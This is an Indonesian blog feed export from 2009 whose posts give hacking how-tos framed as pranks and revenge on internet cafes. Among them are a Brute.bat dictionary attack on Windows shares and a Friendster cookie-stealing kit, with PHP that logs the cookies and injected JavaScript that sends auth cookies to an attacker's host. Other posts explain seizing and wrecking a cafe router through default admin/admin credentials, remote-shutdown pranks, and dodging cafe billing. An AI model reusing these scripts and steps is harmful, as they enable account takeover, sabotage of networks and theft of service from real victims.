/&gt;void&lt;br /&gt;sleepexit(eval)&lt;br /&gt; int eval;&lt;br /&gt;{&lt;br /&gt; sleep((unsigned int)5);&lt;br /&gt; exit(eval);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So if you really wanna have root access and have access to console, reboot&lt;br /&gt;it (carefully, do a ctrl-alt-del) and at lilo prompt do a : &lt;br /&gt;init=/bin/bash rw (for linux 2.0.0 and above (I think)).&lt;br /&gt;&lt;br /&gt;Don't wonder why I was speaking only about rootshell and dhp.com, there are&lt;br /&gt;lots of other very good hacking pages, but these ones are updated very&lt;br /&gt;quickly and besides, are the best pages I know.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So folks, this was it...&lt;br /&gt;First version of my USER's GUIDE 1.0.&lt;br /&gt;Maybe I'll do better next time, and if I have more time, I'll add about&lt;br /&gt;50(more) other exploits, remote ones, new stuff, new techniques, etc...&lt;br /&gt;See ya, folks !&lt;br /&gt;GOOD NIGHT !!! (it's 2.am now).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ARGHHH! I forgot... My e-mail adress is &lt;zhi_117@plasa.com&gt;.&lt;br /&gt;(for now).&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-1761814257575583187?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/1761814257575583187/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-step-by-step.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/1761814257575583187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/1761814257575583187'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-step-by-step.html' title='hacking step by step'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-8947593427807821617</id><published>2009-05-27T13:49:00.001-07:00</published><updated>2009-05-27T13:49:31.896-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'></title><content type='html'>kalo kamu merasa bete or bosen ma pelayanan warnet di tempat kamu, padahal udah bayar mahal-mahal buat internetan&lt;br /&gt;di tempat tersebut and di tambah lagi pas enak-enakan internetan, tiba-tiba disconnected...ach damn it!!!&lt;br /&gt;gw mau ngasih solusi buat ngejawab rasa keusilan kamu semua yang emang usil banget&lt;br /&gt;&lt;br /&gt;mau tau caranya??read it...!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;okay, disini lo ga butuh software apapun dalam hal ini...yang lo butuhkan hanyalah sebuah otak yang usil and buat have fun ajah&lt;br /&gt;&lt;br /&gt;caranya:&lt;br /&gt;1. Kamu buka komputer, and klik Start-&gt;Run...di kotak isian tersebut kamu isikan CMD(Comand Promp)&lt;br /&gt;&lt;br /&gt;2. setelah itu muncul kotak berwarna hitam...di situ kamu ketikan SHUTDOWN.EXE (spasi) -i (spasi) -m&lt;br /&gt;&lt;br /&gt;3. Contoh: Shutdown.exe -i -m.......lalu kamu tekan Enter&lt;br /&gt;&lt;br /&gt;4. maka akan muncul kotak di samping yang bernama "Remote Shutdown Dialog"&lt;br /&gt;&lt;br /&gt;5. Kamu klik "ADD" -&gt; untuk menambahkan IP target or nama target di LAN...or kamu klik "Browse" untuk mencari otomatis&lt;br /&gt;&lt;br /&gt;6. Kamu bisa tentuin yang enaknya buat ngusilin komputer orang itu, apakah di shutdown, restart, or Log off...&lt;br /&gt;&lt;br /&gt;7. Tentukan time yang pas buat deat time-nya komputer itu beraksi&lt;br /&gt;&lt;br /&gt;8. kamu bisa tambakan other (planned), ini dimaksudkan agar si user lawan mengira kalo ini ulah server yang lagi maintenance&lt;br /&gt;&lt;br /&gt;9. Kirim kan pesan kematian mu ke komputer orang di COMMENT&lt;br /&gt;&lt;br /&gt;10. Tertawalah yang puas melihat orang lain kebingungan..hahahahahahahahaha&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pesan dari gw: &lt;br /&gt;1. Kalo kamu mau usilin komputer orang via LAN, liat dulu orangnya...jangan nanti ABRI lagi megang senjata kamu usilin,,bisa mati lo ditembak..kwkwkwkkw&lt;br /&gt;2. Ini sifatnya buat usil, kalo ntar kamu di usilin juga jangan marah yach...&lt;br /&gt;3. Ini paling penting lo inget...sebab dalah hal ini, IP kamu or nama kamu bakal terlihat di comment kematian kamu...karena dari sana terdapat IP addres kmu...jadi gw saranin, begitu komputer itu mati lo buru-buru kabur dah.soal na kamu bakalan di jitak ma dia...wkwkkwkkwkw&lt;br /&gt;4. ini buat have fun ajah kox, jangan di pake sering-sering yach...kasihan tuh warnet-nya ga dapet duit gara-gara kerjaan keusilan kamu&lt;br /&gt;5. gw nganjurin sich ini buat kalangan pribadi, tapi kalo mau lo share ke orang lain...ya silahkan ajah, and tapi inget jangan lupa bawa-bawa nama gw ^,..,^&lt;br /&gt;6. kalo kamu ketahuan sama OP(operator) na, kalo masalah ini jangan bawa-bawa nama gw loch...hehehehehe&lt;br /&gt;&lt;br /&gt;Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;nice have fun ^,..,^&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-8947593427807821617?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/8947593427807821617/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/kalo-kamu-merasa-bete-or-bosen-ma.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/8947593427807821617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/8947593427807821617'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/kalo-kamu-merasa-bete-or-bosen-ma.html' title=''/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-7707141538551283287</id><published>2009-05-27T13:48:00.001-07:00</published><updated>2009-05-27T13:48:57.832-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hacking LAN versi terbaru</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Port 139 merupakan port yang di gunakan windows dalam sistem jaringan komputernya dengan menjalankan Netbios (Network Basic Input Output System). User yang bisa mengenali dan memanfaatkan port tersebut, akan bisa menggali informasi detail mengenai data jaringan termasuk password folder yang di share serta password administrator.&lt;br /&gt;&lt;br /&gt;Kita akan menggunakan program berekstensi bat yang dibuat dari notepad bernama Brute.bat. Sebelumnya, perlu di buat pula beberapa file berektensi txt yakni passlist.txt, logfile.txt dan output.txt. Untuk 2 file terakhir, tidak perlu di isi alias di kosongkan saja. Sedangkan passlist.txt harus di isi dengan kosa kata perkiraan password admin. Tuliskan secara berurutan mulai nama, nama anak, istri, pacar, tangal lahir, tempat bekerja, makanan favouritnya serta semua hal yang di perkirakan sebagai password admin. Di dunia underground, file passlist.txt ini di kenal dengan istilah Dictionary Attack atau kamus serangan.&lt;br /&gt;&lt;br /&gt;Teknik menebak password seperti ini memang tergolong memakan waktu lebih lama. Namun, jika di lakukan secara sabar, apalagi di dorong oleh rasa jengkel pada admin, maka semuanya menjadi terasa ringan.&lt;br /&gt;&lt;br /&gt;Untuk membuat file brute.bat copykan kode berikut ini&lt;br /&gt;&lt;br /&gt;@echo off&lt;br /&gt;if “%1?==”” goto fin&lt;br /&gt;if “%2?==”” goto fin&lt;br /&gt;del logfile.txt&lt;br /&gt;FOR /F “tokens=1? %%i in (passlist.txt) do ^&lt;br /&gt;echo %%i &amp;&amp; ^&lt;br /&gt;net use \\%1\ipc$ %%i /u:%1\%2 2&gt;&gt;logfile.txt &amp;&amp; ^&lt;br /&gt;echo %time% %date% &gt;&gt; outfile.txt &amp;&amp; ^&lt;br /&gt;echo \\%1\ipc$ acct: %2 pass: %%i &gt;&gt; output.txt &amp;&amp; goto end&lt;br /&gt;:fin&lt;br /&gt;echo&lt;br /&gt;&lt;br /&gt;Sekarang coba anda masuk ke menu Command Prompt melalui tombol Start -&gt; Run ketik cmd. Lalu masuk ke folder tempat file ketiga file tersimpan. jalankan program Brute.bat dengan mengetik Brute . Contoh, Brute 192.169.21.02 Administrator. Untuk mengetahui IP Address admin, download program imaniac di bawah.Imaniac adalah software pencari IP Address pada komputer yang terhubung dengan jaringan. Atau cari aja softwarenya di Mbah Google&lt;br /&gt;&lt;br /&gt;Mencegah Pencurian Password Admin LAN&lt;br /&gt;&lt;br /&gt;Untuk mengantisipasi serangan Dictionary Attack, administrator hendaknya membuat password yang kuat dan sulit di tebak melalui kombinasi huruf-angka serta sejumlah karakter lainnya. Di samping itu, perlu juga menonaktifkan menu Command Prompt agar tidak mudah di akses oleh user yang usil. Karena dari mene inilah aktifitas hacking di lakukan seperti Netbios dan lain-lain. Caranya, melalui tombol Start -&gt; Run, ketik gpedit.msc, lalu tekan ENTER. Setelah masuk jendela Group Editor Policy Window, pilih User Configuration -&gt; Administrative Templates -&gt; System -&gt;. Pada jendela sebelah kanan, cari Prevent Access To The Command Prompt lalu double klik. Setelah itu, klik Enable -&gt; Apply -&gt; Ok -&gt; kemudian Restart computer.&lt;br /&gt;&lt;br /&gt;semoga bermanfaat&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-7707141538551283287?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/7707141538551283287/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-lan-versi-terbaru.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/7707141538551283287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/7707141538551283287'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-lan-versi-terbaru.html' title='Hacking LAN versi terbaru'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-3862146632454422836</id><published>2009-05-27T13:47:00.002-07:00</published><updated>2009-05-27T13:48:06.291-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>hacking FS</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Syarat yang Di Perlukan:&lt;br /&gt;Quote:&lt;br /&gt;&lt;br /&gt;1.Punya Browser Mozzilla Firefox Dengan Add-On Cookie Editor!!&lt;br /&gt;Kalo Belom Punya Klik Di searching google&lt;br /&gt;&lt;br /&gt;2.Webhosting Untuk Penyimpanan Cookies Dan Code!!&lt;br /&gt;Example:&lt;br /&gt;http://www.ripway.com/ atau http://www.ifastnet.com Dan LAin2!!&lt;br /&gt;&lt;br /&gt;3.Punya Account FriendSter Tentunya!!&lt;br /&gt;Very Happy Very Happy Very Happy Very Happy Very Happy&lt;br /&gt;Langkah-Langkahnya adalah:&lt;br /&gt;1.Buat c.php&lt;br /&gt;Code:&lt;br /&gt;=======================================================================&lt;br /&gt;&lt;?php&lt;br /&gt;$cookie = $_GET['c'];&lt;br /&gt;$id = $_GET['ses'];&lt;br /&gt;$ip = getenv ('REMOTE_ADDR');&lt;br /&gt;&lt;br /&gt;if(strstr($cookie, "mac")){&lt;br /&gt;$fl = fopen('lastkukis.txt', 'r');&lt;br /&gt;$buftxt = fgets($fl);&lt;br /&gt;fclose($fl);&lt;br /&gt;if($cookie!=$buftxt)&lt;br /&gt;{&lt;br /&gt;$date=date("dmy.g:ia");&lt;br /&gt;$fl = fopen('logkukis.txt', 'a');&lt;br /&gt;fwrite($fl, "\n".$ip.';;'.$id.';;'.$date."\n".$cookie."\n");&lt;br /&gt;fclose($fl);&lt;br /&gt;$fl = fopen('lastkukis.txt', 'w');&lt;br /&gt;fwrite($fl, $cookie);&lt;br /&gt;fclose($fl);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;echo "&lt;script&gt;history.back(-1)&lt;/script&gt;";&lt;br /&gt;?&gt;&lt;br /&gt;===================================================================================&lt;br /&gt;&lt;br /&gt;2.Buat File Dengan Nama super.js Yang Isinya:&lt;br /&gt;&lt;br /&gt;========================================================================================&lt;br /&gt;if (pageViewerID!=""){&lt;br /&gt;var c=fgetCookie("friendster_auth");&lt;br /&gt;if (c!="")setTimeout("window.location.href='http://URLWEBHOSTING/c.php?&lt;br /&gt;c='+escape(c)+'&amp;ses='+escape(pageViewerFName)+'~'+pageViewerID+'~@'+pageOwnerID", 8000);}&lt;br /&gt;============================================================================================&lt;br /&gt;===================================&lt;br /&gt;JANGAN LUPA DI GANTI YANG SAYA tebal!!&lt;br /&gt;===================================&lt;br /&gt;&lt;br /&gt;3.Dan Langkah Terakhir adalah Letakkan&lt;br /&gt;Code INI:&lt;br /&gt;======================================================================================&lt;br /&gt;&amp;amp;&amp;amp;#x23;x3c;script type="text/javascript" src="http://URLWEBHOSTING/super.js" &amp;amp;&amp;amp;#x23;x3e;&amp;amp;&amp;amp;#x23;x3c;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;======================================================================================&lt;br /&gt;ATAU&lt;br /&gt;========================================================================================&lt;br /&gt;&lt;br /&gt;&amp;&amp;#x23;x3c;script type='text/javascript' src='http://URLWEBHOSTING/super.js'&gt;&amp;&amp;#x23;x3c;/script&gt;&lt;br /&gt;&lt;br /&gt;===============================================================================================&lt;br /&gt;&lt;br /&gt;=============================================&lt;br /&gt;&amp;&gt;lt;script src="URL_OF_JS"&amp;&gt;gt;&amp;&gt;lt;/script&amp;&gt;gt;&lt;br /&gt;&lt;br /&gt;=============================================&lt;br /&gt;&lt;br /&gt;Nah....Klo Udah Dapet!!&lt;br /&gt;Kamu Buka Link Ini:&lt;br /&gt;ENCODER - http://h1.ripway.com/supermanreturns/Friendster/Encoder.php&lt;br /&gt;&lt;br /&gt;Nah Setelah Itu Buka Cookie Editor Di Mozilla Dengan Cara:&lt;br /&gt;Tools &gt;&gt;&gt; Cookie Editor&gt;&gt;&gt; ADD!!&lt;br /&gt;&lt;br /&gt;ISI Dari Kolom Kosong Tersebut:&lt;br /&gt;Name : friendster_auth&lt;br /&gt;Content : hasil Encoder&lt;br /&gt;Host : www.friendster.com&lt;br /&gt;Path : /&lt;br /&gt;&lt;br /&gt;EXPIRES: NEW EXPIRATION DATE&lt;br /&gt;Exclamation TAMBAHKAN NILAI TAHUN SAJA Dari 2007 Menjadi 2009 Atau 2015 Exclamation&lt;br /&gt;&lt;br /&gt;Setelah Itu SAVE Dan Refresh friendSter-Nya&lt;br /&gt;&lt;br /&gt;Semoga BerhasiL Exclamation Exclamation Exclamation&lt;br /&gt;Very Happy Very Happy Very Happy Wink Wink&lt;br /&gt;&lt;br /&gt;Thanks......By : JayZhi&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-3862146632454422836?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/3862146632454422836/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-fs.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/3862146632454422836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/3862146632454422836'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-fs.html' title='hacking FS'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-3802358628230432627</id><published>2009-05-27T13:47:00.001-07:00</published><updated>2009-05-27T13:47:36.523-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hacking Disconnected network warnet</title><content type='html'>anda merasa dendam dengan warnet yang anda benci??anda merasa tidak puas dengan pelayanan warnet tersebut??&lt;br /&gt;anda merasa sudah di bohongin dengan tarif yang mahal sangad di warnet yang anda gunakan??&lt;br /&gt;anda jengah dengan operator warnet di sana??anda ingin berniat usil..??&lt;br /&gt;&lt;br /&gt;Read It... &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;pertama sich, gw fikir gimana yach caranya biar tuh warnet menderita...sementara tuh operator belagu and sering ngeceing gw trus..&lt;br /&gt;trus gw merasa jengah sama tuh operator warnet...udah banyak bacod, tapi otak kaga ada...&lt;br /&gt;&lt;br /&gt;sorry nich gw jadi curhat...tapi itu latar belakang gw buat nulis ini...sorry buat para operator dungu, kepaksa kao harus banyak belajar dolo gich sono&lt;br /&gt;&lt;br /&gt;okay..to do point ajah dech demi melampiaskan keusilan gw...&lt;br /&gt;&lt;br /&gt;caranya:&lt;br /&gt;1. kamu ga butuh software tambahan kox dalam hal ini, yang kamu butuhkan hanya strategi ajah buat kabur dengan santai...simple kan&lt;br /&gt;&lt;br /&gt;2. Kamu hanya butuh mozilla firefox, IE, Opera or apa aja dech...soal na itu ga begitu ngaruh...tapi gw saranin lo gunain IE (Internet Explorer)..and jalankan program itu&lt;br /&gt;&lt;br /&gt;3. Setelah jalan program Internet explorer na, kamu lihat pada bagian atas yang terdapat pada kolom address...&lt;br /&gt;&lt;br /&gt;4. Di sana kan masih kosong, yang bertuliskan About:blank...kamu isikan IP modem or ADSL warnet tersebut...&lt;br /&gt;&lt;br /&gt;5. Contoh yang gw ambil di warnet yang gw usilin: 192.168.1.1&lt;br /&gt;&lt;br /&gt;6. Kamu isi di kolom itu dengan : 192.168.1.1     Enter&lt;br /&gt;&lt;br /&gt;7. Maka kamu akan di bawa ke dalam modem or ADSL tersebut...tenang ajah, dalam hal ini kamu ga usah panik bakal ketahuan...gw JAMIN 99% deh, and 1% na tergantung kamu &lt;br /&gt;&lt;br /&gt;8. Nanti kamu akan diminta userID and password na...tenang ajah, hampir semua default user and password na itu.:    User: admin  paswword: admin &lt;br /&gt;&lt;br /&gt;9. And welcome di dalam modem or ADSL warnet tersebut...tapi tujuan kita ga hanya sampai di sana saja, karena tujuan kita mulia yaitu buat operator sengsara....hahahahhahahaha&lt;br /&gt;&lt;br /&gt;10. Cari dan temukan atau biasanya Kamu bakal melihat langsung LAN IP, subnet mask, default gateway and DNS di sana...Inget, itu target utama kita...&lt;br /&gt;&lt;br /&gt;11. contoh LAN IP: 192.168.1.2 subnet mask:255.255.255.255 default gateway:192.168.1.1&lt;br /&gt;&lt;br /&gt;12. Ubah semua itu menjadi 0 semua...contoh: LAN IP: 000.000.0.0 Subnet Mask:000.000.000.000 default gateway:000.000.0.0 atau terserah kamu mau di ubah kaya gimana...&lt;br /&gt;&lt;br /&gt;13. Selanjutnya kamu Cari dan temukan create new password...ini gunanya agar password na kita ubah, and hanya kita saja yang tahu akan password tersebut&lt;br /&gt;&lt;br /&gt;14. SAVE and exit&lt;br /&gt;&lt;br /&gt;15. Buat mastiin ajah kalo kerja kamu bersih and biar ga ketahuan, kamu WAJIB delete Cookies and clear History...caranya: TOOLs-&gt;internet options..-&gt;General........nah di sana kamu hapus "DELETED COOKIES" dan "CLEAR HISTORY"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pesan dari Gw:&lt;br /&gt;1. Ini bukan untuk serius, ini hanya untuk fun ajah loch...pokoknya gw sebagai penulis ga bertanggung jawab atas kesalah gunaan ini &lt;br /&gt;2. Sebelum masuk pintu warnet, jangan pasang wajah serius or tampang marah yach...pokok na inget ajah dah, SELALU PASANG TAMPANG BEGO dan DONGO...hahahahahahaha&lt;br /&gt;3. Pastikan warnet or jaringan dalam keadaan online, ini bertujuan agar hasil yang kamu kerjakan langsung terlihat dengan melihat wajah si operator yang mendadak kebingungan karena tiba-tiba disconnected&lt;br /&gt;4. Banyak-banyak berdoa yach semoga sajah USER ID dan PASSWORD modem or ADSL na belum di ganti&lt;br /&gt;5. Password yang tadi kamu ganti, jangan sampai lupa...n kalo kamu mau main lagi kan tinggal kamu setting awal aja seperti tadi&lt;br /&gt;6. ini buat have fun ajah kox, jangan di pake sering-sering yach...kasihan tuh warnet-nya ga dapet duit gara-gara kerjaan keusilan kamu&lt;br /&gt;7. gw nganjurin sich ini buat kalangan pribadi, tapi kalo mau lo share ke orang lain...ya silahkan ajah, and tapi inget jangan lupa bawa-bawa nama gw ^,..,^&lt;br /&gt;8. kalo kamu ketahuan sama OP(operator) na, kalo masalah ini jangan bawa-bawa nama gw loch...hehehehehe&lt;br /&gt;9. Lakukan ini dengan bijak seperti kata BANG NAPI..."INGAT KEJAHATAN OR KEUSILAN BISA TERJADI KAPAN SAJA DAN DIMANA SAJA TANPA KENAL PELAKUNYA...WASPADALAH!!!WASPADALAH"....wkwkkwkwkwkwkkwk&lt;br /&gt;&lt;br /&gt;Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...&lt;br /&gt;&lt;br /&gt;nice have fun ^,..,^&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-3802358628230432627?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/3802358628230432627/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-disconnected-network-warnet.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/3802358628230432627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/3802358628230432627'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-disconnected-network-warnet.html' title='Hacking Disconnected network warnet'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-4455770996777464909</id><published>2009-05-27T13:46:00.001-07:00</published><updated>2009-05-27T13:46:50.067-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hacking Billing explorer (dijamin gratis)</title><content type='html'>Hacking Billing explorer (dijamin gratis)&lt;br /&gt;&lt;br /&gt;internetan gratis di warnet??wah gimana caranya ya??&lt;br /&gt;kox bisa yach internetan gratis dengan billing explorer, padahal itu kan hampir ga mungkin terjadi..bagamana caranya tuh??&lt;br /&gt;&lt;br /&gt;gw yakin pasti pertanyaan itu langsung ada di otak kamu pada setelah baca judul di atas, and gw pun awal na ga yakin bakal bisa&lt;br /&gt;tapi setelah gw coba...wow...free man, alias gratis total..&lt;br /&gt;&lt;br /&gt;mau tau caranya gimana??...read it&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;langkah2-nya&lt;br /&gt;1. kamu harus download ni software di komputer mu or client di warnet...yang namanya billhack..tinggal klik Download&lt;br /&gt;&lt;br /&gt;2. kamu jalankan program ini...tenang ajah sob, ga pake nginstall segala kox (gapake ribet)&lt;br /&gt;&lt;br /&gt;3. kamu wajib tau IP(internet protocol) or name server-nya and port si server...&lt;br /&gt;&lt;br /&gt;4. kalo kamu udah tau alamat IP and portnya...buka software billhack&lt;br /&gt;&lt;br /&gt;5. di sini kamu bisa memilih, mau kamu ajah yang gratisan (single client) or semua user bisa ngerasain hasil jerih payah lo (all client)&lt;br /&gt;&lt;br /&gt;6. kamu pilih salah satu dari pilihan itu...and lo isi di server IP / name dan port-nya&lt;br /&gt;&lt;br /&gt;7. ni gw kasih contoh terakhir...&lt;br /&gt;&lt;br /&gt; contoh: Server IP/name : 192.168.1.1&lt;br /&gt;  port  : 1500&lt;br /&gt;&lt;br /&gt;8. kamu klik connect dech...dan lihat hasil kerja kamu, hasil dapat di lihat di billing kamu....gratis loch..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;pesan dari gw:&lt;br /&gt;&lt;br /&gt;1. sebelum kamu masuk ke warnet, pasang tampang bego...kalo perlu super dongo, soal na takut ketahuan&lt;br /&gt;2. jangan terlihat tergesa-tergesa, b`coz bakal di kirain maling loch nantinya...&lt;br /&gt;3. kamu login ajah seperti biasa&lt;br /&gt;4. ini buat have fun ajah kox, jangan di pake sering-sering yach...kasihan tuh warnet-nya ga dapet duit gara-gara kerjaan keusilan kamu&lt;br /&gt;5. gw nganjurin sich ini buat kalangan pribadi, tapi kalo mau lo share ke orang lain...ya silahkan ajah, and tapi inget jangan lupa bawa-bawa nama gw ^,..,^&lt;br /&gt;6. kalo kamu ketahuan sama OP(operator) na, kalo masalah ini jangan bawa-bawa nama gw loch...hehehehehe&lt;br /&gt;&lt;br /&gt;Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-4455770996777464909?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/4455770996777464909/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-billing-explorer-dijamin-gratis.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/4455770996777464909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/4455770996777464909'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-billing-explorer-dijamin-gratis.html' title='Hacking Billing explorer (dijamin gratis)'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-5487201594743966266</id><published>2009-05-27T13:45:00.001-07:00</published><updated>2009-05-27T13:45:49.393-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'></title><content type='html'>II. REFERENCE&lt;br /&gt;&lt;br /&gt;  A. Hacking and phreaking W.W.W. pages&lt;br /&gt;  B. Good hacking and phreaking text files&lt;br /&gt;  C. Hacking and phreaking Newsgroups&lt;br /&gt;  D. Rainbow Books&lt;br /&gt;  E. Hacking and phreaking magazines&lt;br /&gt;  F. Hacking and phreaking movies&lt;br /&gt;  G. 